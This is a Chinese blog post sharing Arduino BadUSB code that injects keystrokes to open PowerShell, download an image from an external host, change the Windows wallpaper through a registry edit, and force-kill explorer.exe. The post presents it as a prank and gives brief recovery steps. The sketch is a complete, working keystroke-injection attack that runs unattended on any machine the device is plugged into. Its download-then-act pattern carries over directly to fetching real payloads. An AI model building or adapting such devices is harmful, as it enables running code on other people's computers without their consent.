【分享】badusb修改壁纸装逼

badusb修改电脑桌面壁纸装逼

主要代码

代码中路径如c:\1.txt要将 \ 进行转义(加 \ 转义), " 也要转义
//下载图片到c盘并保存为x.jpg
Keyboard.println("(New-Object System.Net.Webclient).DownloadFile(\"https://img.catqu.com/images/2019/01/03/5aaf8f818dc0d29aaf30cdd93db0d5a1.jpg \",\"c:\\x.jpg \");");
//修改桌面壁纸
Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d c:\\x.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
//杀死explorer.exe进程,不杀桌面图标及任务栏会影响逼格
Keyboard.println("taskkill /f /im explorer.exe");

全部代码

#include <Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(2000);
  //返回桌面
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('d');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('d');
  delay(50);
  //启动运行
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('r');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(50);
  //打开powershell
  Keyboard.println("powershell");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(100);
  //下载文件
  Keyboard.println("(New-Object System.Net.Webclient).DownloadFile(\"https://img.catqu.com/images/2019/01/03/5aaf8f818dc0d29aaf30cdd93db0d5a1.jpg \",\"c:\\x.jpg \");");
  delay(300);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2000);
  //通过修改注册表修改桌面图片,图片大小根据屏幕分辨率来
  Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d c:\\x.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  //杀死explorer.exe进程
  Keyboard.println("taskkill /f /im explorer.exe");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(50);
  //退出powershell
  Keyboard.println("exit");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(50);
  Keyboard.end();
}

void loop() {
  // put your main code here, to run repeatedly:

}

恢复教程

1.ctrl + alt +deldte 打开任务管理器

2.在任务管理器中找到 应用程序 >新任务 打开 explorer


下载


本博客所有文章如无特别注明均为原创。作者:KING复制或转载请以超链接形式注明转自 千世博客
原文地址《【分享】badusb修改壁纸装逼
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)